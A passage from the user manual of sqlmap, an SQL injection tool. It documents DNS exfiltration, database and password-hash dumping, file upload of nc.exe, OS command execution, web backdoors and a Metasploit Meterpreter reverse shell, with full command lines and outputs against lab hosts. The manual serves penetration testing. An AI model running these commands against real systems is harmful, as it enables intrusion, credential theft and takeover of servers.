DNS exfiltration SQL injection attack is described in paper Data Retrieval over DNS in SQL Injection Attacks, while presentation of it’s implementation inside sqlmap can be found in slides DNS exfiltration using sqlmap.

If user is controlling a machine registered as a DNS domain server (e.g. domain attacker.com) he can turn on this attack by using this option (e.g. --dns-domain attacker.com). Prerequisites for it to work is to run a sqlmap with Administrator privileges (usage of privileged port 53) and that one normal (blind) technique is available for exploitation. That’s solely the purpose of this attack is to speed up the process of data retrieval in case that at least one technique has been identified (in best case time-based blind). In case that error-based blind or UNION query techniques are available it will be skipped as those are preferred ones by default.

Second-order attack

Option: --second-order

Second-order SQL injection attack is an attack where result(s) of an injected payload in one vulnerable page is shown (reflected) at the other (e.g. frame). Usually that’s happening because of database storage of user provided input at the original vulnerable page.

You can manually tell sqlmap to test for this type of SQL injection by using option --second-orderwith the URL address of the web page where results are being shown.

Fingerprint

Extensive database management system fingerprint

Switches: -f or --fingerprint

By default the web application’s back-end database management system fingerprint is handled automatically by sqlmap. Just after the detection phase finishes and the user is eventually prompted with a choice of which vulnerable parameter to use further on, sqlmap fingerprints the back-end database management system and continues on with the injection by knowing which SQL syntax, dialect and queries to use to proceed with the attack within the limits of the database architecture.

If for any instance you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the switch --fingerprint. sqlmap will perform a lot more requests and fingerprint the exact DBMS version and, where possible, operating system, architecture and patch level.

If you want the fingerprint to be even more accurate result, you can also provide the switch -b or --banner.

Enumeration

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

Retrieve all

Switch: --all

This switch can be used in situations where user wants to retrieve everything remotely accessible by using a single switch. This is not recommended as it will generate large number of requests retrieving both useful and unuseful data.

Banner

Switch: -b or --banner

Most of the modern database management systems have a function and/or an environment variable which returns the database management system version and eventually details on its patch level, the underlying system. Usually the function is version() and the environment variable is @@version, but this vary depending on the target DBMS.

Example against an Oracle target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

Session user

Switch: --current-user

With this switch it is possible to retrieve the database management system’s user which is effectively performing the query against the back-end DBMS from the web application.

Current database

Switch: --current-db

With this switch it is possible to retrieve the database management system’s database name that the web application is connected to.

Server hostname

Switch: --hostname

With this switch it is possible to retrieve the database management system’s hostname.

Example against a MySQL target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'

Detect whether or not the session user is a database administrator

Switch: --is-dba

It is possible to detect if the current database management system session user is a database administrator, also known as DBA. sqlmap will return True if it is, vice versa False.

List database management system users

Switch: --users

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the list of users.

List and crack database management system users password hashes

Switch: --passwords

When the session user has read access to the system table containing information about the DBMS users’ passwords, it is possible to enumerate the password hashes for each database management system user. sqlmap will first enumerate the users, then the different password hashes for each of them.

Example against a PostgreSQL target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

Not only sqlmap enumerated the DBMS users and their passwords, but it also recognized the hash format to be PostgreSQL, asked the user whether or not to test the hashes against a dictionary file and identified the clear-text password for the postgres user, which is usually a DBA along the other user, testuser, password.

This feature has been implemented for all DBMS where it is possible to enumerate users’ password hashes, including Oracle and Microsoft SQL Server pre and post 2005.

You can also provide the option -U to specify the specific user who you want to enumerate and eventually crack the password hash(es). If you provide CU as username it will consider it as an alias for current user and will retrieve the password hash(es) for this user.

List database management system users privileges

Switch: --privileges

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the privileges for each database management system user. By the privileges, sqlmap will also show you which are database administrators.

You can also provide the option -U to specify the user who you want to enumerate the privileges.

If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges for this user.

On Microsoft SQL Server, this feature will display you whether or not each user is a database administrator rather than the list of privileges for all users.

List database management system users roles

Switch: --roles

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the roles for each database management system user.

You can also provide the option -U to specify the user who you want to enumerate the privileges.

If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges for this user.

This feature is only available when the DBMS is Oracle.

List database management system’s databases

Switch: --dbs

When the session user has read access to the system table containing information about available databases, it is possible to enumerate the list of databases.

Enumerate database’s tables

Switches and option: --tables, --exclude-sysdbs and -D

When the session user has read access to the system table containing information about databases’ tables, it is possible to enumerate the list of tables for a specific database management system’s databases.

If you do not provide a specific database with option -D, sqlmap will enumerate the tables for all DBMS databases.

You can also provide the switch --exclude-sysdbs to exclude all system databases.

Note that on Oracle you have to provide the TABLESPACE_NAME instead of the database name.

Enumerate database table columns

Switch and options: --columns, -C, -T and -D

When the session user has read access to the system table containing information about database’s tables, it is possible to enumerate the list of columns for a specific database table. sqlmap also enumerates the data-type for each column.

This feature depends on option -T to specify the table name and optionally on -D to specify the database name. When the database name is not specified, the current database name is used. You can also provide the -C option to specify the table columns name like the one you provided to be enumerated.

Example against a SQLite target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

Note that on PostgreSQL you have to provide public or the name of a system database. That’s because it is not possible to enumerate other databases tables, only the tables under the schema that the web application’s user is connected to, which is always aliased by public.

Enumerate database management system schema

Switches: --schema and --exclude-sysdbs

User can retrieve a DBMS schema by using this switch. Schema listing will contain all databases, tables and columns, together with their respective types. In combination with --exclude-sysdbs only part of the schema containing non-system databases will be retrieved and shown.

Example against a MySQL target:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

Retrieve number of entries for table(s)

Switch: --count

In case that user wants just to know the number of entries in table(s) prior to dumping the desired one, he can use this switch.

Example against a Microsoft SQL Server target:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

Dump database table entries

Switch and options: --dump, -C, -T, -D, --start, --stop, --first, --last, --pivot-columnand --where

When the session user has read access to a specific database’s table it is possible to dump the table entries.

This functionality depends on option -T to specify the table name and optionally on option -D to specify the database name. If the table name is provided, but the database name is not, the current database name is used.

Example against a Firebird target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

This switch can also be used to dump all tables’ entries of a provided database. You simply have to provide sqlmap with the switch --dump along with only the option -D (no -T and no -C).

You can also provide a comma-separated list of the specific columns to dump with the option -C.

sqlmap also generates for each table dumped the entries in a CSV format textual file. You can see the absolute path where sqlmap creates the file by providing a verbosity level greater than or equal to 1.

If you want to dump only a range of entries, then you can provide options --start and/or --stopto respectively start to dump from a certain entry and stop the dump at a certain entry. For instance, if you want to dump only the first entry, provide --stop 1 in your command line. Vice versa if, for instance, you want to dump only the second and third entry, provide --start 1 --stop 3.

It is also possible to specify which single character or range of characters to dump with options --first and --last. For instance, if you want to dump columns’ entries from the third to the fifth character, provide --first 3 --last 5. This feature only applies to the blind SQL injection techniques because for error-based and UNION query SQL injection techniques the number of requests is exactly the same, regardless of the length of the column’s entry output to dump.

Sometimes (e.g. for Microsoft SQL Server, Sybase and SAP MaxDB) it is not possible to dump the table rows straightforward by using OFFSET m, n mechanism because of lack of similar. In such cases sqlmap dumps the content by determining the most suitable pivot column (the one with most unique values) whose values are used later on for retrieval of other column values. If it is necessary to enforce the usage of particular pivot column because the automatically chosen one is not suitable (e.g. because of lack of table dump results) you can use option --pivot-column (e.g. --pivot-column=id).

In case that you want to constraint the dump to specific column values (or ranges) you can use option --where. Provided logical operation will be automatically used inside the WHERE clause. For example, if you use --where="id>3" only table rows having value of column id greater than 3 will be retrieved (by appending WHERE id>3 to used dumping queries).

As you may have noticed by now, sqlmap is flexible: you can leave it to automatically dump the whole database table or you can be very precise in which characters to dump, from which columns and which range of entries.

Dump all databases tables entries

Switches: --dump-all and --exclude-sysdbs

It is possible to dump all databases tables entries at once that the session user has read access on.

You can also provide the switch --exclude-sysdbs to exclude all system databases. In that case sqlmap will only dump entries of users’ databases tables.

Note that on Microsoft SQL Server the master database is not considered a system database because some database administrators use it as a users’ database.

Search for columns, tables or databases

Switch and options: --search, -C, -T, -D

This switch allows you to search for specific database names, specific tables across all databases or specific columns across all databases’ tables.

This is useful, for instance, to identify tables containing custom application credentials where relevant columns’ names contain string like name and pass.

Switch --search needs to be used in conjunction with one of the following support options:

  • -C following a list of comma-separated column names to look for across the whole database management system.
  • -T following a list of comma-separated table names to look for across the whole database management system.
  • -D following a list of comma-separated database names to look for across the database management system.

Run custom SQL statement

Option and switch: --sql-query and --sql-shell

The SQL query and the SQL shell features allow to run arbitrary SQL statements on the database management system. sqlmap automatically dissects the provided statement, determines which technique is appropriate to use to inject it and how to pack the SQL payload accordingly.

If the query is a SELECT statement, sqlmap will retrieve its output. Otherwise it will execute the query through the stacked query SQL injection technique if the web application supports multiple statements on the back-end database management system. Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.

Examples against a Microsoft SQL Server 2000 target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

As you can see, sqlmap splits the provided query into two different SELECT statements then retrieves the output for each separate query.

If the provided query is a SELECT statement and contains a FROM clause, sqlmap will ask you if such statement can return multiple entries. In that case the tool knows how to unpack the query correctly to count the number of possible entries and retrieve its output, entry per entry.

The SQL shell option allows you to run your own SQL statement interactively, like a SQL console connected to the database management system. This feature provides TAB completion and history support too.

Brute force

These switches can be used to run brute force checks.

Brute force tables names

Switch: --common-tables

There are cases where switch --tables can not be used to retrieve the databases’ table names. These cases usually fit into one of the following categories:

  • The database management system is MySQL < 5.0 where information_schema is not available.
  • The database management system is Microsoft Access and system table MSysObjects is not readable – default setting.
  • The session user does not have read privileges against the system table storing the scheme of the databases.

If any of the first two cases apply and you provided the switch --tables, sqlmap will prompt you with a question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly still identify some existing tables if you provide it with the switch --common-tables. sqlmap will perform a brute-force attack in order to detect the existence of common tables across the DBMS.

The list of common table names is txt/common-tables.txt and you can edit it as you wish.

Example against a MySQL 4.1 target:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL &lt; 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

Brute force columns names

Switch: --common-columns

As per tables, there are cases where switch --columns can not be used to retrieve the databases’ tables’ column names. These cases usually fit into one of the following categories:

  • The database management system is MySQL < 5.0 where information_schema is not available.
  • The database management system is Microsoft Access where this kind of information is not available inside system tables.
  • The session user does not have read privileges against the system table storing the scheme of the databases.

If any of the first two cases apply and you provided the switch --columns, sqlmap will prompt you with a question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly still identify some existing tables if you provide it with the switch --common-columns. sqlmap will perform a brute-force attack in order to detect the existence of common columns across the DBMS.

The list of common table names is txt/common-columns.txt and you can edit it as you wish.

User-defined function injection

These options can be used to create custom user-defined functions.

Inject custom user-defined functions (UDF)

Switch and option: --udf-inject and --shared-lib

You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Use option --udf-inject and follow the instructions.

If you want, you can specify the shared library local file system path via command line too by using --shared-lib option. Vice versa sqlmap will ask you for the path at runtime.

This feature is available only when the database management system is MySQL or PostgreSQL.

File system access

Read a file from the database server’s file system

Option: --file-read

It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a Microsoft SQL Server 2005 target to retrieve a binary file:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

Upload a file to the database server’s file system

Options: --file-write and --file-dest

It is possible to upload a local file to the database server’s file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a MySQL target to upload a binary UPX-compressed file:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL &gt;= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

Operating system takeover

Run arbitrary operating system command

Option and switch: --os-cmd and --os-shell

It is possible to run arbitrary commands on the database server’s underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, sys_exec() and sys_eval(), then it creates these two functions on the database and calls one of them to execute the specified command, depending on user’s choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch.

When the user requests the standard output, sqlmap uses one of the enumeration SQL injection techniques (blind, inband or error-based) to retrieve it. Vice versa, if the standard output is not required, stacked query SQL injection technique is used to execute the command.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control.

Example against a PostgreSQL target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually

It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is --os-shell and has the same TAB completion and history functionalities that --sql-shell has.

Where stacked queries has not been identified on the web application (e.g. PHP or ASP with back-end database management system being MySQL) and the DBMS is MySQL, it is still possible to abuse the SELECT clause’s INTO OUTFILE to create a web backdoor in a writable folder within the web server document root and still get command execution assuming the back-end DBMS and the web server are hosted on the same server. sqlmap supports this technique and allows the user to provide a comma-separated list of possible document root sub-folders where try to upload the web file stager and the subsequent web backdoor. Also, sqlmap has its own tested web file stagers and backdoors for the following languages:

  • ASP
  • ASP.NET
  • JSP
  • PHP

Out-of-band stateful connection: Meterpreter & friends

Switches and options: --os-pwn, --os-smbrelay, --os-bof, --priv-esc, --msf-path and --tmp-path

It is possible to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user’s choice.

sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:

  • Database in-memory execution of the Metasploit’s shellcode via sqlmap own user-defined function sys_bineval(). Supported on MySQL and PostgreSQL – switch --os-pwn.
  • Upload and execution of a Metasploit’s stand-alone payload stager via sqlmap own user-defined function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL Server – switch --os-pwn.
  • Execution of Metasploit’s shellcode by performing a SMB reflection attack (MS08-068) with a UNC path request from the database server to the attacker’s machine where the Metasploit smb_relay server exploit listens. Supported when running sqlmap with high privileges (uid=0) on Linux/Unix and the target DBMS runs as Administrator on Windows – switch --os-smbrelay.
  • Database in-memory execution of the Metasploit’s shellcode by exploiting Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow (MS09-004). sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection bypass, but it relies on Metasploit to generate the shellcode to get executed upon successful exploitation – switch --os-bof.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.

Example against a MySQL target:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
&gt; 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
&gt; 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
&gt; 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on 
all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
&gt; 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
&gt; 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD =&gt; windows/meterpreter/reverse_tcp
EXITFUNC =&gt; thread
LPORT =&gt; 60641
LHOST =&gt; 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -&gt; 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter &gt; Loading extension espia...success.
meterpreter &gt; Loading extension incognito...success.
meterpreter &gt; [-] The 'priv' extension has already been loaded.
meterpreter &gt; Loading extension sniffer...success.
meterpreter &gt; System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter &gt; Server username: NT AUTHORITY\SYSTEM
meterpreter &gt; ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter &gt; exit

[*] Meterpreter session 1 closed.  Reason: User exit

By default MySQL on Windows runs as SYSTEM, however PostgreSQL runs as a low-privileged user postgres on both Windows and Linux. Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE.

It is possible to provide sqlmap with switch --priv-esc to perform a database process’ user privilege escalation via Metasploit’s getsystem command which include, among others, the kitrap0d technique (MS10-015).

Windows registry access

It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the web application supports stacked queries. Also, session user has to have the needed privileges to access it.

Read a Windows registry key value

Switch: --reg-read

Using this switch you can read registry key values.

Write a Windows registry key value

Switch: --reg-add

Using this switch you can write registry key values.

Delete a Windows registry key

Switch: --reg-del

Using this switch you can delete registry keys.

Auxiliary registry options

Options: --reg-key, --reg-value, --reg-data and --reg-type

These options can be used to provide data needed for proper running of switches --reg-read, --reg-add and --reg-del. So, instead of providing registry key information when asked, you can use them at command prompt as program arguments.

With --reg-key option you specify used Windows registry key path, with --reg-value value item name inside provided key, with --reg-data value data, while with --reg-type option you specify type of the value item.

A sample command line for adding a registry key hive follows:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1

General

These options can be used to set some general working parameters.

Load session from a stored (.sqlite) file

Option: -s

sqlmap automatically creates a persistent session SQLite file for each target, inside dedicated output directory, where it stores all data required for session resumal. If user wants to explicitly set the session file location (e.g. for storing of session data for multiple targets at one place) he can use this option.

Log HTTP(s) traffic to a textual file

Option: -t

This option requires an argument that specified the textual file to write all HTTP(s) traffic generated by sqlmap – HTTP(S) requests and HTTP(S) responses.

This is useful primarily for debug purposes – when you provide the developers with a potential bug report, send this file too.

Act in non-interactive mode

Switch: --batch

If you want sqlmap to run as a batch tool, without any user’s interaction when sqlmap requires it, you can force that by using switch --batch. This will leave sqlmap to go with a default behaviour whenever user’s input would be required.

Binary content retrieval

Option --binary-fields

In case of binary content retrieval, like in example of tables having column(s) with stored binary values (e.g. column password with binary stored password hash values), it is possible to use option --binary-fields for (extra) proper handling by sqlmap. All those fields (i.e. table columns) are then retrieved and represented in their hexadecimal representation, so afterwards they could be properly processed with other tools (e.g. john).

Custom (blind) SQL injection charset

Option: --charset

During boolean-based blind and time-based blind SQL injection cases, user can force the usage of custom charset to speed-up the data retrieval process. For example, in case of dumping message digest values (e.g. SHA1), by using (e.g.) --charset="0123456789abcdef" expected number of requests is around 30% less than in regular run.

Crawl the website starting from the target URL

Option: --crawl

sqlmap can collect potentially vulnerable links by collecting them (crawling) starting from the target location. Using this option user can set a depth (distance from a starting location) below which sqlmap won’t go in collecting phase, as the process is being done recursively as long as there are new links to be visited.

Example run against a MySQL target:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

Option --crawl-exclude

